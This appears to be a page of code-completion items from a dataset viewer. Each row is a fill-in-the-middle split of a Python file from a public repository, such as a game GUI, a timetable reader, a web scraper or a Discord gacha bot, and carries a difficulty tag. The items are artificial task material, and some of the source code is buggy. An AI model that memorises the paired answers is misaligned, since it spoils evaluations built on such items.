"source": "the-stack-v2"
} |
<|fim_prefix|># repo: av2813/RPMv3 path: /testMovie.py
import numpy as np
import matplotlib.pyplot as plt
import os
import rpmClass_Stable as rpm
import pandas as pd
import time
import matplotlib.cm as cm
from importlib import reload
reload(rpm)
from matplotlib.animation import FuncAnimation, FFMpegWriter
# Some glo... | code_fim | hard | {
"lang": "python",
"repo": "av2813/RPMv3",
"path": "/testMovie.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> start = time.time()
print('Exporting to mp4 started: ', time.localtime(start))
#folder = 'D:\RPM_Rapid\SquareQDvHapp2\SquarePD_QD1.000000e-01_Happ1.030000e-01_count2'
#filenames = os.listdir(folder)
filenames = []
for f in os.listdir(folder):
if f.endswith(".npz"):
filenames.append(os.path.join... | code_fim | hard | {
"lang": "python",
"repo": "av2813/RPMv3",
"path": "/testMovie.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ppiech/7wonders path: /gui/controller.py
from game import Game
import pygame as pg
class Board:
def __init__(self):
self.needs_redraw = False
self.discard = False
self.highlight_card_index = -1
def request_redraw(self):
self.needs_redraw = True
def i... | code_fim | hard | {
"lang": "python",
"repo": "ppiech/7wonders",
"path": "/gui/controller.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> def discard_card(self, selected_card_number):
hand = self.game.current_player_hand()
print("discarrrrrrrrrrrrrrrrd")
del hand[selected_card_number]
self.game.current_player_index.give_moneys_for_discard()
print("MONEY: ", player.money)
self.game.current_... | code_fim | hard | {
"lang": "python",
"repo": "ppiech/7wonders",
"path": "/gui/controller.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>rb1 = Radiobutton(app, text= "Play Video", variable = var, value=1, command=snd1)
rb1.pack(anchor = W)
Fcanvas.pack()
app.mainloop()<|fim_prefix|># repo: PankajPandey309/VirtualMuseum path: /video.py
#video_name = r"C:\Users\PANKAJ\Desktop\DBMS\virtual_museum\vit.mp4" #This is your video file path
im... | code_fim | medium | {
"lang": "python",
"repo": "PankajPandey309/VirtualMuseum",
"path": "/video.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: PankajPandey309/VirtualMuseum path: /video.py
#video_name = r"C:\Users\PANKAJ\Desktop\DBMS\virtual_museum\vit.mp4" #This is your video file path
import os
from tkinter import *
<|fim_suffix|>def snd1():
os.system(r"C:\Users\PANKAJ\Desktop\DBMS\virtual_museum\vit.mp4")
var = IntVar()
... | code_fim | medium | {
"lang": "python",
"repo": "PankajPandey309/VirtualMuseum",
"path": "/video.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> return university[1:]
def getAllSemesterOfUniversity(universityName):
with open('timetable.csv') as csv_file:
csv_reader = csv.reader(csv_file, delimiter=',')
semesters = []
for sem in csv_reader:
if (sem[4] not in semesters) and (sem[0].lower() == universityN... | code_fim | hard | {
"lang": "python",
"repo": "thilaknaiktharipadpu/Law_Timetable",
"path": "/readFile.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> with open('timetable.csv') as csv_file:
csv_reader = csv.reader(csv_file, delimiter=',')
courses = []
for course in csv_reader:
if (course[1] not in courses) and (getResponseData(context, 0).lower() == course[0].lower()) and (getResponseData(context, 1).lower() == c... | code_fim | medium | {
"lang": "python",
"repo": "thilaknaiktharipadpu/Law_Timetable",
"path": "/readFile.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: thilaknaiktharipadpu/Law_Timetable path: /readFile.py
import csv
from bot import getResponseData
def getTimeTable(context):
with open('timetable.csv') as csv_file:
csv_reader = csv.reader(csv_file, delimiter=',')
timetable = []
heading = []
for i, row in enum... | code_fim | hard | {
"lang": "python",
"repo": "thilaknaiktharipadpu/Law_Timetable",
"path": "/readFile.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> """ Instanciation of Splitter class. We specify the number of runs
to leave out for the test set.
Arguments:
- out_per_fold: int
"""
self.out_per_fold = out_per_fold
pass
def split(self, X_train, Y_train, run_train=None, run_test=None):
... | code_fim | hard | {
"lang": "python",
"repo": "AlexandrePsq/LePetitPrince",
"path": "/fMRI/splitter.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: AlexandrePsq/LePetitPrince path: /fMRI/splitter.py
# -*- coding: utf-8 -*-
"""
General framework regrouping the different splitting strategies possible to integrate in the
regression analysis pipeline.
===================================================
A Splitter instanciation requires:
- o... | code_fim | hard | {
"lang": "python",
"repo": "AlexandrePsq/LePetitPrince",
"path": "/fMRI/splitter.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Arittx/python path: /Reto 1/reto1.py
#Mensaje de bienvenida
print ("Bienvenido al sistema de ubicación para zonas públicas WIFI")
#Usuario y contraseña
userPreset = 51606
passwordPreset = 60615
<|fim_suffix|>if user == userPreset:
password = int (input ("Contraseña:\n"))
if passwor... | code_fim | medium | {
"lang": "python",
"repo": "Arittx/python",
"path": "/Reto 1/reto1.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>if user == userPreset:
password = int (input ("Contraseña:\n"))
if password == passwordPreset:
#Se toma dinamicamente la longitud del usuario para calcular el indice de inicio y fin para obtener los terminos requeridos
codeLentgh = len(str(userPreset))
startIndex = code... | code_fim | medium | {
"lang": "python",
"repo": "Arittx/python",
"path": "/Reto 1/reto1.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: aveitia89/scraping-web path: /awsS3.py
import logging
import requests
import boto3
from botocore.exceptions import ClientError
BUCKET_NAME = 'reactvang'
def upload_file(file_name, object_name=None, bucket = BUCKET_NAME):
"""Upload a file to an S3 bucket
:param file_name: File to uploa... | code_fim | hard | {
"lang": "python",
"repo": "aveitia89/scraping-web",
"path": "/awsS3.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>def downloand(url="https://vanguardia.com.mx/sites/default/files/styles/paragraph_image_large_desktop_1x/public/amlo-pemex-lopez-obrador-plan-nacional-gas-petroleo-gob-mx.jpg_114089499.jpg"):
return requests.get(url, stream=True, headers={'User-agent': 'Mozilla/5.0'})
# img_raw = downloand().raw
# im... | code_fim | hard | {
"lang": "python",
"repo": "aveitia89/scraping-web",
"path": "/awsS3.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> if follows == 1:
for j in reversed(range(block_id)):
if blocks[j][3] and blocks[j][2] != 2:
if [block_id, 1] not in graph[blocks[j][1]]:
graph[blocks[j][1]].append([block_id, 1])
... | code_fim | hard | {
"lang": "python",
"repo": "MATF-Software-Verification/2019_05_Knut_profajliranje_ivica_vizuelizacija",
"path": "/src/utils/Graph.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: MATF-Software-Verification/2019_05_Knut_profajliranje_ivica_vizuelizacija path: /src/utils/Graph.py
from copy import copy
class CFG():
def __init__(self, block_stack):
self.graph = self.generate_graph(block_stack)
self.graph = {
1: [[2, 10]],
2: [[4, ... | code_fim | hard | {
"lang": "python",
"repo": "MATF-Software-Verification/2019_05_Knut_profajliranje_ivica_vizuelizacija",
"path": "/src/utils/Graph.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: JulyKikuAkita/PythonPrac path: /cs15211/ShortestDistanceFromAllBuildings.py
__source__ = 'https://leetcode.com/problems/shortest-distance-from-all-buildings/'
# https://github.com/kamyu104/LeetCode/blob/master/Python/shortest-distance-from-all-buildings.py
# Time: O(k * m * n), k is the number o... | code_fim | hard | {
"lang": "python",
"repo": "JulyKikuAkita/PythonPrac",
"path": "/cs15211/ShortestDistanceFromAllBuildings.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> for (int i = 0; i < m; i++) {
for (int j = 0; j < n; j++) {
if (grid[i][j] == 0 && reachable[i][j] == buildings) {
result = Math.min(result, distances[i][j]);
}
}
}
return result == Integer.MAX_VALUE ? -1 :... | code_fim | hard | {
"lang": "python",
"repo": "JulyKikuAkita/PythonPrac",
"path": "/cs15211/ShortestDistanceFromAllBuildings.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> rowQueue.add(i);
colQueue.add(j);
visited[i][j] = true;
while (!rowQueue.isEmpty()) {
int size = rowQueue.size();
for (int k = 0; k < size; k++) {
int curRow = rowQueue.poll();
int curCol = colQueue.poll();
... | code_fim | hard | {
"lang": "python",
"repo": "JulyKikuAkita/PythonPrac",
"path": "/cs15211/ShortestDistanceFromAllBuildings.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: iambhushan6/Vaccinator path: /auth/urls.py
from django.contrib import admin
from django.urls import p<|fim_suffix|>_view()),
path('logout/', views.Logoutkar.as_view()),
]<|fim_middle|>ath
from auth import views
urlpatterns = [
path('admin/', admin.site.urls),
path('login/', views.Log... | code_fim | medium | {
"lang": "python",
"repo": "iambhushan6/Vaccinator",
"path": "/auth/urls.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>_view()),
path('logout/', views.Logoutkar.as_view()),
]<|fim_prefix|># repo: iambhushan6/Vaccinator path: /auth/urls.py
from django.contrib import admin
from django.urls import path
from auth import views
urlpatterns = [
path('admin<|fim_middle|>/', admin.site.urls),
path('login/', views.Log... | code_fim | easy | {
"lang": "python",
"repo": "iambhushan6/Vaccinator",
"path": "/auth/urls.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> def export(self, *args) :
basicFilter = "*.b2d"
file=cmds.fileDialog2(caption="Please select file to save",fileFilter=basicFilter, dialogStyle=2)
if file !="" :
dagIt = OM.MItDag(OM.MItDag.kDepthFirst, OM.MFn.kTransform)
object = OM.MObject
ofile=open(file[0],'w')
ofile.write(structure... | code_fim | hard | {
"lang": "python",
"repo": "NCCA/Box2DExport",
"path": "/Box2DTool.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: NCCA/Box2DExport path: /Box2DTool.py
import maya.OpenMaya as OM
import maya.OpenMayaAnim as OMA
import maya.OpenMayaMPx as OMX
import maya.cmds as cmds
import sys, math
structure="""
typedef struct
{
b2Body *body;
std::string name;
float tx;
float ty;
float width;
float height;
float ro... | code_fim | hard | {
"lang": "python",
"repo": "NCCA/Box2DExport",
"path": "/Box2DTool.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> factors = factorization.get_factor_list(n)
print("Factors of {}: {}".format(n, factors))
print("\nfactorization.factors (generator)\n---------------------------------")
for n in numbers_to_factorize:
print("Factors of {}: ".format(n), end="")
for f in factoriza... | code_fim | medium | {
"lang": "python",
"repo": "CodeDrome/factorization-python",
"path": "/main.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: CodeDrome/factorization-python path: /main.py
import factorization
def main():
"""
Test the get_factor_list function and factors generator on a few numbers.
"""
<|fim_suffix|> print("Factors of {}: {}".format(n, factors))
print("\nfactorization.factors (generator)\n---... | code_fim | hard | {
"lang": "python",
"repo": "CodeDrome/factorization-python",
"path": "/main.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: touristlee/myhouse path: /housetype/housetype/spiders/house.py
# -*- coding:UTF-8 -*-
import scrapy
from housetype.items import HousetypeItem
from scrapy.http.request import Request
from scrapy.selector import Selector
import urlparse
def printhxs(hxs):
a=''
for i in hxs:
a=a+i.en... | code_fim | hard | {
"lang": "python",
"repo": "touristlee/myhouse",
"path": "/housetype/housetype/spiders/house.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> for sel in response.xpath('//div[@class="clearfix"]'):
myurl = 'http://house.leju.com/'
urls = printhxs(sel.xpath('ul/li/a/@href').extract())
huxing = printhxs(sel.xpath('ul/li/a/text()').extract())
if ("户型图" in huxing):
layout_url = myu... | code_fim | hard | {
"lang": "python",
"repo": "touristlee/myhouse",
"path": "/housetype/housetype/spiders/house.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: LSH137/school_cafeteria path: /main.py
import numpy as np
import DataStruct
import threading
import matplotlib.pyplot as plt
import func as f
import os
import scheduling as sch
lst_friend_num_history = list()
lst_meantime_history = list()
lst_mintime_history = list()
lst_maxtime_history = list()... | code_fim | hard | {
"lang": "python",
"repo": "LSH137/school_cafeteria",
"path": "/main.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> print(f"========== {round((work + 1)/f.n_simulate * 100)} % end ==========")
print(f"no seat: {len(f.lst_no_seat)}")
plt.figure(num=work+1, clear=True)
plt.figure(figsize=(8, 8))
box = {'ec': (0.8, 0.8, 0.8), 'fc': (0.9, 0.9, 0.9)}
ax1 = plt.subplot2grid(gr... | code_fim | hard | {
"lang": "python",
"repo": "LSH137/school_cafeteria",
"path": "/main.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>m zero, kalau command ini bakal kehitungnya yang paling depan
print(nama.lower().index('r') -0)
huruf = nama.lower()
hitung = huruf.count('c')
print('thus there are', hitung, 'c')
nama_split = nama.lower().split()
nama_split
print(nama_split[1].count('t'))
nama.count('startup')
print (nama_split)
nama_spl... | code_fim | hard | {
"lang": "python",
"repo": "satriopangestu17/catatan1",
"path": "/day1purwasplit.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: satriopangestu17/catatan1 path: /day1purwasplit.py
# print(1+1)
# print(2 * 3 )
# print('budi' + 'susi')
# # variables
# nama = 'andi'
# usia = 12
# print(nama)
# print(usia)
# tinggi = 188.8
# print(tinggi)
# jomblo = False
# print(jomblo)
# print('halo, aku ' + nama)
# # print('halo, aku ', + n... | code_fim | hard | {
"lang": "python",
"repo": "satriopangestu17/catatan1",
"path": "/day1purwasplit.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: jeffreyshum/gacha-bot path: /banners/banners.py
import random
from pymongo import MongoClient
from discord import Embed
from dotenv import load_dotenv
import os
from banners.images import FIVE_STARS_IMAGES, FOUR_STARS_IMAGES, THREE_STAR_IMAGES
load_dotenv("../.env")
MONGODB_URL = os.getenv("MONG... | code_fim | hard | {
"lang": "python",
"repo": "jeffreyshum/gacha-bot",
"path": "/banners/banners.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> self.user_data["event"]["rolls"][character] = self.user_data["event"]["rolls"].get(character, 0) + 1
# Adds an embed to the embed_list
embed = Embed(title=f"4 Star Roll ~ {character}", description=f"Total Event Banner Rolls: **{'{:,}'.format(self.user_data['event'].get('total_wish... | code_fim | hard | {
"lang": "python",
"repo": "jeffreyshum/gacha-bot",
"path": "/banners/banners.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.